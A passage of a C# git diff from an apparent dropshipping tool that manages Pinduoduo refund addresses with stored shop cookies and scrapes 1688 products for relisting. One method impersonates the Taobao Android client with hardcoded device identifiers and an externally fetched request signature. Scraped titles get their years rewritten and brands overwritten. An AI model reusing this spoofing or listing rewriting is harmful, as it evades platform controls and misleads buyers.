AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/icon.ico b/TEMUKJD/icon.ico new file mode 100644 index 0000000..ee0578e Binary files /dev/null and b/TEMUKJD/icon.ico differ diff --git a/TEMUKJD/packages.config b/TEMUKJD/packages.config new file mode 100644 index 0000000..1baabce --- /dev/null +++ b/TEMUKJD/packages.config @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/TEMUKJD/qk.ico b/TEMUKJD/qk.ico new file mode 100644 index 0000000..68b1145 Binary files /dev/null and b/TEMUKJD/qk.ico differ diff --git a/Work/AfterSaleSet.cs b/Work/AfterSaleSet.cs new file mode 100644 index 0000000..ffd42f8 --- /dev/null +++ b/Work/AfterSaleSet.cs @@ -0,0 +1,119 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; + +namespace Work +{ + public class AfterSaleSet + { + public ShopChatBase shop; + public string id; + public static List refundAddList = new List(); + public static List refundTempAddList = new List(); + public static void query() + { + refundAddList.Clear(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectReplace || !shop.Showed) + continue; + string url = "https://mms.pinduoduo.com/earth/api/refundAddress/list"; + string refere = "https://mms.pinduoduo.com/order.html"; + string data = "{}"; + //第一页匹配结果 + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + if (html.Contains("\"success\":true")) + { + LogSave.Add("售后设置", "读取店铺" + shop.ShopName + ",售后地址信息。"); + var m = BaseRegex.GetMatchRegex(ref html, @"{""id"":[^}]+?}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + RefundAdd refundAdd = new RefundAdd(); + refundAdd.shopName = shop.ShopName; + refundAdd.id = BaseRegex.GetLongJson(ref list, "id"); + refundAdd.refundAddress = BaseRegex.GetStringJson(ref list, "refundAddress"); + refundAdd.refundName = BaseRegex.GetStringJson(ref list, "refundName"); + refundAdd.refundPhone = BaseRegex.GetStringJson(ref list, "refundPhone"); + refundAdd.refundTel = BaseRegex.GetStringJson(ref list, "refundTel"); + refundAdd.provinceName = BaseRegex.GetStringJson(ref list, "provinceName"); + refundAdd.cityName = BaseRegex.GetStringJson(ref list, "cityName"); + refundAdd.districtName = BaseRegex.GetStringJson(ref list, "districtName"); + refundAdd.isDefault = BaseRegex.GetStringJson(ref list, "isDefault"); + refundAdd.refundId = BaseRegex.GetStringJson(ref list, "refundId"); + refundAdd.mallId = BaseRegex.GetLongJson(ref list, "mallId"); + refundAddList.Add(refundAdd); + refundTempAddList.Add(refundAdd); + Thread.Sleep(1*1000); + } + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg"); + LogSave.Add("售后设置", "读取店铺" + shop.ShopName + ",售后地址失败," + errorMsg); + } + } + } + public void del() + { + string url = "https://mms.pinduoduo.com/earth/api/refundAddress/delete"; + string refere = "https://mms.pinduoduo.com/order.html"; + string data = "{\"id\":" + id + "}"; + //第一页匹配结果 + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + if (html.Contains("\"success\":true")) + { + LogSave.Add("售后设置", "店铺" + shop.ShopName + ",删除售后地址信息成功。"); + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg"); + LogSave.Add("售后设置", "店铺" + shop.ShopName + ",删除售后地址信息失败。"+ errorMsg); + } + } + public void defaultAddress() + { + string url = "https://mms.pinduoduo.com/earth/api/refundAddress/default"; + string refere = "https://mms.pinduoduo.com/order.html"; + string data = "{\"id\":" + id + "}"; + //第一页匹配结果 + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + if (html.Contains("\"success\":true")) + { + LogSave.Add("售后设置", "店铺" + shop.ShopName + ",设置默认售后地址信息成功。"); + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg"); + LogSave.Add("售后设置", "店铺" + shop.ShopName + ",设置默认售后地址信息失败。" + errorMsg); + } + } + + public static void SysAddress() + { + + } + + } + public class RefundAdd + { + public string shopName = ""; + public long id = 0; + public string refundAddress = ""; + public string refundName = ""; + public string refundPhone = ""; + public string refundTel = ""; + public string provinceName = ""; + public string cityName = ""; + public string districtName = ""; + public string isDefault = ""; + public string refundId = ""; + public long mallId = 0; + } +} diff --git a/Work/Api/AlibabaProductGet.cs b/Work/Api/AlibabaProductGet.cs new file mode 100644 index 0000000..c2c3f3c --- /dev/null +++ b/Work/Api/AlibabaProductGet.cs @@ -0,0 +1,949 @@ +using System; +using System.Threading; +using AllBase; +using Work.ManageClass; +using Work.CollectClass; +using System.Net; +using System.IO; +using System.IO.Compression; +using System.Text; +using Newtonsoft.Json.Linq; +using System.Linq; +using NaiBa.Util.Extension; + +namespace Work.Api +{ + public class AlibabaProductGet + { + public ProductCollectBase Product; + public bool IsPinduoduo = false; + public bool OnSale = true; + public AlibabaProductGet(ProductCollectBase p) + { + Product = p; + } + + public void Get() + { + if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id)) + { + Product = TaobaoMobileCollect.ProductTemp[Product.from_id].Clone(); + return; + } + string url = Product.from_url; + string refere = "http://page.1688.com/"; + + bool canUse; + string serverTempHtml = ServerTemp.Get(3, "main-" + Product.from_id.ToString(), out canUse); + string html = serverTempHtml; + + if (!string.IsNullOrEmpty(html) && !html.Contains("调用成功")) + { + if (string.IsNullOrEmpty(html)) + { + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false); + } + if (string.IsNullOrEmpty(html) || !html.Contains("currentTime")) + { + Thread.Sleep(60 * 1000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false); + } + if (string.IsNullOrEmpty(html) || !html.Contains("currentTime")) + { + LogSave.Add("获取产品详细页面失败,请检查程序 " + url); + OnSale = false; + return; + } + if (html.Contains("no-price-txt")) + { + LogSave.Add("获取产品详细页面发现没有价格,跳过 " + url); + OnSale = false; + return; + } + if (!canUse) + ServerTemp.Set(3, "main-" + Product.from_id.ToString(), html); + Product.from_cat_id = BaseRegex.GetIntJson(ref html, @"catid"); + if (Product.from_cat_id == 0) + { + int.TryParse(BaseRegex.GetMatchRegexString(ref html, "catid:'([^}]+?)'"), out Product.from_cat_id); + } + Product.item_size = ""; + Product.item_weight = 1; + Product.price = BaseRegex.GetDecimalJson(ref html, @"refPrice"); + if (Product.price == 0) + { + decimal.TryParse(BaseRegex.GetMatchRegexString(ref html, "refPrice:'([^}]+?)'"), out Product.price); + } + Product.discount = BaseRegex.GetDecimalJson(ref html, @"discount"); + Product.discountPrice = BaseRegex.GetDecimalJson(ref html, @"discountPrice"); + if (Product.discount == 0) + { + Product.discount = 1; + Product.discountPrice = Product.price; + } + + Product.name = BaseRegex.GetMatchRegexString(html, "]*?>([^<]+)"); + foreach (string s in AlibabaShop.NoTitleWords) + { + Product.name = Product.name.Replace(s, ""); + } + + Product.name = BaseRegex.Relpace(Product.name.Replace("2016", "2017").Replace("2015", "2017"), @"([a-zA-Z]{1,2}[\d]{1,5})", "").Trim(); + bool had2017 = Product.name.Contains("2017"); + Product.name = "'" + Product.name + "\""; + Product.name = BaseRegex.Relpace(Product.name, @"([a-zA-Z0-9# -]{2,20}?)""", "").Replace("\"", "");//去掉结尾的数字和字母下划线 + Product.name = BaseRegex.Relpace(Product.name, @"'([a-zA-Z0-9# -]{2,20})", "").Replace("'", "");//去掉开始的数字和字母下划线 + if (had2017 && !Product.name.Contains("2017")) + Product.name = "2017" + Product.name; + + bool titleHad = false; + //foreach (string s in AlibabaShop.TitleCantHad) + //{ + // if (Product.name.Contains(s)) + // titleHad = true; + //} + if (Product.name.Length < 12 || titleHad) + { + LogSave.Add("获取产品详细页面发现标题 " + Product.name + " 异常,跳过 " + url); + return; + } + Product.sell_pt = ""; + var m = BaseRegex.GetMatchRegex(ref html, @"data-imgs='{""preview"":""([^']+?)"",""original"":""([^']+?)"""); + if (m.Count == 0) + { + LogSave.Add("获取图片为空,请检查程序 " + url); + return; + } + for (int i = 0; i < m.Count; i++) + { + Product.Images.Add(m[i].Groups[2].Value); + } + Product.image = Product.Images[0]; + Product.image_from_url = Product.image; + Product.image_path = ""; + SetSkuMap(ref html, url); + string area = BaseRegex.GetMatchRegexString(ref html, @"([^<]+)"); + if (!string.IsNullOrEmpty(area) && area.Contains(" ")) + { + Product.state = area.Substring(0, area.IndexOf(" ")); + Product.city = area.Substring(area.IndexOf(" ") + 1); + } + else + { + Product.state = BaseRegex.GetMatchRegexString(ref html, "province=([^;]+?);"); + Product.city = BaseRegex.GetMatchRegexString(ref html, "city=([^;]+?)\""); + } + m = BaseRegex.GetMatchRegex(ref html, + @"([^<]+?)[\s]+([^<]+?)"); + for (int i = 0; i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string value = m[i].Groups[2].Value; + bool had = false; + foreach (string s in AlibabaShop.NoPropWords) + { + if (name.Contains(s)) + { + had = true; + break; + } + } + if (had) + continue; + if (name == "品牌") + value = "十四楼"; + Product.Prop.Add(new KeyValueBase(name, value)); + } + + string memberId = BaseRegex.GetMatchRegexString(ref html, @" data-tfs-url=""([^""]+)"""); + string desc = + GetPostTaobaoHtml.UploadTaobao(memberId, Product.from_url, false); + string content = BaseRegex.GetMatchRegexString(ref desc, @"""content"":""([\w\W]+?)""};"); + if (string.IsNullOrEmpty(content)) + { + LogSave.Add("获取描述异常,请检查程序 " + url); + return; + } + content = content.Replace("\\\"", "\"").Replace("\\\\", "\\"); + BaseRegex.Relpace(ref content, @"超级快车", ""); + string newContentx = BaseRegex.Relpace(content, @"
    ", ""); + BaseRegex.Relpace(ref newContentx, @"(<[aA] [^>]+?>([\w\W]*?))", ""); + if (string.IsNullOrEmpty(newContentx) || !newContentx.ToLower().Contains("]+?>)"); + for (int i = 0; i < m.Count; i++) + { + if (!m[i].Groups[1].Value.Contains(".alicdn.com") || m[i].Groups[0].Value.Contains("display: none") || m[i].Groups[0].Value.Contains("display:none")) + continue; + newContent += m[i].Groups[1].Value + "

    "; + } + if (string.IsNullOrEmpty(newContent)) + { + LogSave.Add("描述正文为空,跳过 " + url); + return; + } + html = GetPostTaobaoHtml.UploadTaobao( + "https://laputa.1688.com/offer/ajax/widgetList.do?callback=jQuery172025158196459054927_1533388414900&blocks=&data=offerdetail_ditto" + + "_title%2Cofferdetail_common_report%2Cofferdetail_ditto_serviceDesc%2Cofferdetail_ditto_preferential%2Cofferdetail_ditto_postage%2Coff" + + "erdetail_ditto_offerSatisfaction%2Cofferdetail_w1190_guarantee%2Cofferdetail_w1190_tradeWay%2Cofferdetail_w1190_samplePromotion%2Coffer" + + "detail_ditto_whosaleself&offerId=" + Product.from_id + "&pageId=laputa20140721212446", Product.from_url, false); + Product.express_price = BaseRegex.GetDecimalJson(ref html, "totalCost"); + Product.content = newContent; + Product.content_alibaba = newContent; + Product.main_cid = 0; + Product.from_title = Product.name; + Product.from_site_id = 3; + } + else + { + if (string.IsNullOrEmpty(html)) + { + string data = "{\"responseClass\":\"\\\"com.alibaba.wireless.detail.netdata.offerdatanet.OfferDetailDataResponse\\\"\",\"RESPONSE_DATA_KEY\":\"\",\"MOCK_DATA\":\"false\",\"offerId\":\"" + Product.from_id + "\"}"; + //先去取数据 + html = MakeRequestThroughTradeAscM(data); + if (!html.Contains("调用成功")) + { + return; + } + } + bool bo = AliBaBaModle(html); + if (!bo) + { + return; + } + } + if (Product.cat3 == 3109) + { + var pro = Product.Props.Where(s => s.name.Contains("容量")).FirstOrDefault(); + if (pro == null) + { + string mah = BaseRegex.GetMatchRegexString(ref Product.name, @"([\d]+)毫安"); + PropBase p = new PropBase(); + p.pinduoduo_id = "140871455"; + p.id = 140871455; + p.name = "电池容量"; + PropValueBase pr = new PropValueBase(); + pr.id = PinduoduoCatList.GetDianYuanId(int.Parse(mah)).ToString(); + pr.value = pr.id; + pr.name = mah + "毫安"; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = ""; + pr.image_from_url = ""; + p.Values.Add(pr); + Product.Props.Add(p); + for (int i = 0; i < Product.SkuMaps.Count; i++) + { + var sku = Product.SkuMaps[i]; + sku.name = sku.name + ";" + mah + "毫安"; + sku.nameLite = sku.nameLite + mah + "毫安"; + } + } + else + { + if (string.IsNullOrEmpty(pro.pinduoduo_id)) + { + pro.pinduoduo_id = "140871455"; + pro.id = 140871455; + } + for (int i = 0; i < pro.Values.Count; i++) + { + var pr = pro.Values[i]; + string mah= BaseRegex.GetMatchRegexString(ref pr.name, @"([\d]+)毫安"); + pr.id= PinduoduoCatList.GetDianYuanId(int.Parse(mah)).ToString(); + pr.value = pr.id; + } + } + } + if (IsPinduoduo)//如果是更新上家价格,则执行此代码 + { + Product.main_cid = new FromTitleToCat().GetMainCatId(Product.cat1); + if (Product.main_cid == 0) + return; + //url = BaseClass.BigDataApiUrl + "?obj=product/product"; + //string datax = "&act=update&site_id=3&shop_name=" + GetHtml.UrlEncodeUtf8(Product.from_shop_name) + "&json=" + GetHtml.UrlEncodeUtf8(JsonHelper.SerializeObject(Product)); + //html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + datax); + try + { + if (TaobaoMobileCollect.ProductTemp.Count > 1000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id)) + TaobaoMobileCollect.ProductTemp.Add(Product.from_id, Product); + } + catch + { + } + //后期加代码 + return; + } + if (Product.from_cat_id == 0) + { + Product.message = "分类识别错误:" + Product.name; + LogSave.Add(Product.message); + return; + } + LogSave.Add("获取成功:" + Product.name); + } + public void AslasyHtml(TaobaoProductBase t, string html) + { + if (string.IsNullOrEmpty(html) || html == "null") + return; + try + { + //string title = BaseRegex.GetStringJson(ref html, "fession_title"); + //string[] goodTitle = title.Split(';'); + //主图 + string mainPic = BaseRegex.GetStringJson(ref html, "main_pic"); + string[] images = mainPic.Split(';'); + Product.Images.Clear(); + for (int i = 0; i < images.Length; i++) + { + string img = images[i]; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + Product.Images.Add(img); + } + //详情图 + string container_info = BaseRegex.GetMatchRegexString(ref html, @"""container_info"":""(.*?)"""); + string[] contentimage = container_info.Split(';'); + var m = BaseRegex.GetMatchRegex(ref container_info, @""); + string content = ""; + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[0].Value; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + content += img; + } + Product.content = content; + Product.Props.Clear(); + string temp = ""; + m = BaseRegex.GetMatchRegex(ref html, + @"\{""id"":([-\d]+),""name"":""([^}]+)"",""pinduoduo_name"":[^}]+?,""Values"":\[([\w\W]+?)\]\}"); + for (int i = 0; i < m.Count; i++) + { + PropBase p = new PropBase(); + p.id = long.Parse(m[i].Groups[1].Value); + p.name = m[i].Groups[2].Value; + p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", ""); + bool had = false; + for (int j = 0; j < Product.Props.Count; j++) + { + if (Product.Props[j].name == p.name) + { + p = Product.Props[j]; + had = true; + break; + } + } + temp = m[i].Groups[3].Value; + var mm = BaseRegex.GetMatchRegex(ref temp, @"""value"":""([-\d]*?)"",""name"":""([^""]+?)""[^\}]*\}"); + for (int j = 0; j < mm.Count; j++) + { + string v = mm[j].Groups[1].Value; + string vi = mm[j].Groups[0].Value; + string image = BaseRegex.GetStringJson(ref vi, "image"); + if (image == "null") + image = ""; + PropValueBase pr = new PropValueBase(); + pr.value = v; + pr.name = mm[j].Groups[2].Value; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = image; + pr.image_from_url = image; + bool hadx = false; + for (int k = 0; k < p.Values.Count; k++) + { + if (p.Values[k].name == pr.name) + { + hadx = true; + break; + } + } + if (!hadx) + p.Values.Add(pr); + } + if (!had) + { + p.sort = i + 1; + Product.Props.Add(p); + } + } + //Product.name = goodTitle[0]; + + + //for (int i = 1; i < goodTitle.Length; i++) + //{ + // var p = t.Clone(); + // t.Titlte = goodTitle[i]; + // t.FromType = "阿里巴巴"; + // t.Uped = false; + // UploadPinduoduoMain.ProductStock.Insert(0, p); + //} + } + catch + { + } + } + + private string MakeRequestThroughTradeAscM(string data) + { + HttpWebResponse response = null; + string url = "http://acs.m.taobao.com/gw/mtop.1688.wosc.cbu.offerdetailservice.queryofferdetail/1.0/?data="; + try + { + string api = "mtop.1688.wosc.cbu.offerdetailservice.queryofferdetail"; + string v = "1.0"; + + var t = BaseClass.GetTime(BaseClass.GetServerTimeString()).ToString(); + string utdid = "XUEI6Cqy4UgDAHCsEH0z5one"; + string uid = ""; + string appKey = "25443018"; + string lat = ""; + string lng = ""; + string ttid = "219201@taobao_android_7.6.0"; + string sid = ""; + string deviceId = "AqjuNSqg5WtUMlGAgV2ZsudCBHdVINyeYYmyjrge4w2P"; + string features = "27"; + string x_pv = "5.1"; + string url_getSign = BaseClass.BuildObjString("get_taobao_sign&act=get_tb_sign");// "http://new.qixiaoke.com/?obj=littlecow/user&act=get_tb_sign"; + string url_data = UserLogin.GetSignaturex("", ""); + string sign = GetHtml.PostUtf8(url_getSign, url_data + "&t=" + t + "&api=" + api + "&v=" + v + "&data=" + data); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + GetHtml.UrlEncodeUtf8(data)); + request.Headers.Add("x-features", features); + request.UserAgent = "MTOPSDK%2F3.1.1.7+%28Android%3B5.1%3BOPPO%3BOPPO+R9m%29"; + request.Headers.Add("x-ttid", "219201@taobao_android_7.6.0"); + request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache"); + request.Headers.Add("x-appkey", appKey); + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + request.Headers.Add("x-pv", x_pv); + request.Headers.Add("x-t", t.ToString()); + request.Headers.Add("x-utdid", utdid); + request.Headers.Add("x-devid", deviceId); + request.Headers.Add("x-sign", sign); + request.Headers.Add("x-uid", uid); + request.Headers.Add("x-sid", sid); + request.Headers.Add("x-page-url", "http%3A%2F%2Fitem.taobao.com%2Fitem.htm"); + request.Headers.Add("x-nettype", "WIFI"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + bool flag = e.Status == WebExceptionStatus.ProtocolError; + if (!flag) + { + return ""; + } + response = (HttpWebResponse)e.Response; + } + catch (Exception) + { + bool flag2 = response != null; + if (flag2) + { + response.Close(); + } + return ""; + } + return ReadResponse(response); + } + private static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + private bool AliBaBaModle(string html) + { + if (html.Contains("商品不存在或不可展示")) + { + //IsOnSale = false; + return false; + } + Product.item_weight = 1; + var priceInfo = BaseRegex.GetMatchRegexString(ref html, "\"currentPrices\":([\\w\\W]+?)],"); + if (priceInfo.Contains("price")) + { + var sPriceTemp = BaseRegex.GetMatchRegex(ref priceInfo, "\"price\":\"([\\w\\W]+?)\""); + if (sPriceTemp.Count > 0) + { + string sPrice = ""; + foreach (var item in sPriceTemp) + { + var v = item.ToString(); + sPrice = BaseRegex.GetMatchRegexString(ref v, "\"price\":\"([\\w\\W]+?)\""); + if (!string.IsNullOrEmpty(Product.price.ToString()) && sPrice.ParseToDecimal() > Product.price) + { + if (sPrice.IndexOf("-") > 0) + { + sPrice = sPrice.Substring(0, sPrice.IndexOf('-')); + } + Product.price = Convert.ToDecimal(sPrice); + } + } + + } + + } + var saleCount = BaseRegex.GetMatchRegexString(ref html, "\"saledCount\":\"([\\w\\W]+?)\""); + int iSaleCount = 0; + int.TryParse(saleCount, out iSaleCount); + Product.saleCount = iSaleCount; + Product.discountPrice = Product.price; + + + Product.name = BaseRegex.GetMatchRegexString(html, "\"subject\":\"([\\w\\W]+?)\""); + foreach (string s in AlibabaShop.NoTitleWords) + { + Product.name = Product.name.Replace(s, ""); + } + + Product.name = BaseRegex.Relpace(Product.name.Replace("2018", "2020").Replace("2019", "2020"), @"([a-zA-Z]{1,2}[\d]{1,5})", "").Trim(); + bool had2017 = Product.name.Contains("2019"); + //Product.name = "'" + Product.name + "\""; + //Product.name = BaseRegex.Relpace(Product.name, @"([a-zA-Z0-9# -]{2,20}?)""", "").Replace("\"", "");//去掉结尾的数字和字母下划线 + //Product.name = BaseRegex.Relpace(Product.name, @"'([a-zA-Z0-9# -]{2,20})", "").Replace("'", "");//去掉开始的数字和字母下划线 + if (had2017 && !Product.name.Contains("2019")) + Product.name = "2019" + Product.name; + + if (Product.name.Length < 12) + { + LogSave.Add("获取产品详细页面发现标题 " + Product.name + " 异常,跳过 " + Product.from_url); + return false; + } + Product.sell_pt = ""; + var m = BaseRegex.GetMatchRegex(ref html, "\"originalImageURI\":\"([\\w\\W]+?)\""); + if (m.Count == 0) + { + LogSave.Add("获取图片为空,请检查程序 " + Product.from_url); + return false; + } + if (Product.Images.Count <= 0)//如果主图有了 则不需要从页面拿了(文本备份里面有了) updata by tl 20190716 + { + for (int i = 0; i < m.Count; i++) + { + Product.Images.Add(m[i].Groups[1].Value); + } + } + Product.image = Product.Images[0]; + Product.image_from_url = Product.image; + Product.image_path = ""; + SetSkuMapMoble(ref html); + + string area = BaseRegex.GetMatchRegexString(ref html, "\"location\":\"([\\w\\W]+?)\""); + if (!string.IsNullOrEmpty(area) && area.Contains(" ")) + { + Product.state = area.Substring(0, area.IndexOf(" ")); + Product.city = area.Substring(area.IndexOf(" ") + 1); + } + var prop = BaseRegex.GetMatchRegexString(ref html, "\"productFeatureList\":\\[([\\w\\W]+?)\\],"); + m = BaseRegex.GetMatchRegex(ref prop, "\"name\":\"([\\w\\W]+?)}"); + for (int i = 0; i < m.Count; i++) + { + string name = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"name\":\"([\\w\\W]+?)\""); + string value = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"value\":\"([\\w\\W]+?)\""); + bool had = false; + foreach (string s in AlibabaShop.NoPropWords) + { + if (name.Contains(s)) + { + had = true; + break; + } + } + if (had) + continue; + if (name == "品牌") + value = "other/其他"; + Product.Prop.Add(new KeyValueBase(name, value)); + } + + string contentUrl = BaseRegex.GetMatchRegexString(ref html, "\"detailUrl\":\"([\\w\\W]+?)\""); + string desc = + GetPostTaobaoHtml.UploadTaobao(contentUrl, Product.from_url, false); + string content = BaseRegex.GetMatchRegexString(ref desc, "\"content\":\"([\\w\\W]+?)\"};"); + if (string.IsNullOrEmpty(content)) + { + LogSave.Add("获取描述异常,请检查程序 " + Product.from_url); + return false; + } + content = content.Replace("\\\"", "\"").Replace("\\\\", "\\"); + BaseRegex.Relpace(ref content, @"
    超级快车", ""); + string newContentx = content; + BaseRegex.Relpace(ref newContentx, @"(<[aA] [^>]+?>([\w\W]*?))", ""); + if (string.IsNullOrEmpty(newContentx) || !newContentx.ToLower().Contains("]+?>)"); + for (int i = 0; i < m.Count; i++) + { + if (!m[i].Groups[1].Value.Contains(".alicdn.com") || m[i].Groups[0].Value.Contains("display: none") || m[i].Groups[0].Value.Contains("display:none")) + continue; + newContent += m[i].Groups[1].Value + "

    "; + } + if (string.IsNullOrEmpty(newContent)) + { + LogSave.Add("描述正文为空,跳过 " + Product.from_url); + return false; + } + + string offerFare = BaseRegex.GetMatchRegexString(ref html, "\"offerFareModel\":{([\\w\\W]+?)}"); + string IsHasFare = BaseRegex.GetStringJson(ref html, "hasFare"); + if (IsHasFare == "true") + { + Product.express_price = BaseRegex.GetDecimalJson(ref html, "cost"); + } + + Product.from_cat_id = BaseRegex.GetIntJson(ref html, @"topCategoryId"); + + + //Product.content = newContent; + if (string.IsNullOrEmpty(Product.content))//加这个判断是为了有可能文件里面有了详情图 updata by tl 20190716 + { + Product.content = newContent; + } + + Product.content_alibaba = newContent; + Product.main_cid = 0; + Product.from_title = Product.name; + Product.from_site_id = 3; + return true; + } + private string UnTransferred(string Meaning) + { +            //转义字符变换成普通字符 +            Meaning 